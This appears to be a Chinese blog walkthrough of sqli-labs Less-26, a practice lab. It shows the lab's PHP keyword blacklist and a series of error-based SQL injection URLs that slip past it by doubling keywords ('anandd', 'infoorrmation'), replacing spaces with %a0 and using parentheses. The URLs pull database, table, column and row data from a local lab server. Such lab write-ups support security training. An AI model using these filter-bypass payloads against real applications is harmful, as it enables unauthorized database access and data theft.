目 录CONTENT

文章目录

sqli-labs系列——Less-26

CZ
CZ
2023-06-25 / 0 评论 / 0 点赞 / 343 阅读 / 4233 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2024-04-24,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

摘要

本文介绍了如何利用Less-26来进行SQL注入实验。在实验过程中,需要注意如何判断注入点、哪些字符可用、哪些不可用,以及如何使用特殊字符替换空格等问题。此外,还介绍了在Windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换的问题,而在Linux平台上则没有此问题。通过本文的介绍,读者可以更好地理解SQL注入的原理和实现方式,并提高防范SQL注入攻击的能力。

前言

当我们分析源码,看到其中过滤了很多东西,这次不仅过滤了and和or,甚至连一些注释字符和空格也被过滤了,按照前面的题的做法我们同样可以使用||代替,同样可以使用anandd和oorr代替,然后利用or '1'='1去闭合,然后空格我们也可以用一些特殊字符去代替,例如%0a换行%a0空格等等,本题推荐使用linux搭建的sqli-labs进行实验

源码如下

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

前期准备

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节

浏览器访问Less-26

http://192.168.199.135/sqli-labs-master/Less-26/

image-1687676714446

判断库名

http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT%a0database()),0x7e),1)|| '1'='1
#用%a0替换空格发现页面疑似编码报错,因为在 Windows 下会有无法用特殊字符代替空格的问题,这是 Apache 解析的问题,Linux 下无这个问题。
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)|| '1'='1
#如果遇到上面这种用%a0或者%0a都无法使用的情况下,这边给大家介绍一下另外一种小技巧,用()将database()括起来,成功爆出库名

image-1687678080636 image-1687678227376 image-1687679499801

判断表名

#windows平台
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1
#kali部署的
http://192.168.199.129/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1

image-1687678334239 image-1687679631461

判断列名

http://192.168.199.129/Less-26/?id=1'|| %a0updatexml(1,concat(0x7e,(select%a0column_name%a0from%a0 infoorrmation_schema.columns%a0where%a0table_schema='security'%a0%26%26 %a0table_name='emails'%a0 limit %a00,1),0x7e),1)|| '1'='1

image-1687679560427

判断数据

http://192.168.199.129/Less-26/?id=1'anandd%a0updatexml(1,concat(0x7e,(select%a0 id%a0 from%a0 emails %a0limit %a00,1),0x7e),1)|| '1'='1

image-1687679797826

小结

总的来说本题的关键在于怎么判断注入点,判断哪些字符可用哪些不可用,并使用特殊字符替换空格,并且在windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换,linux没有此问题

0

评论区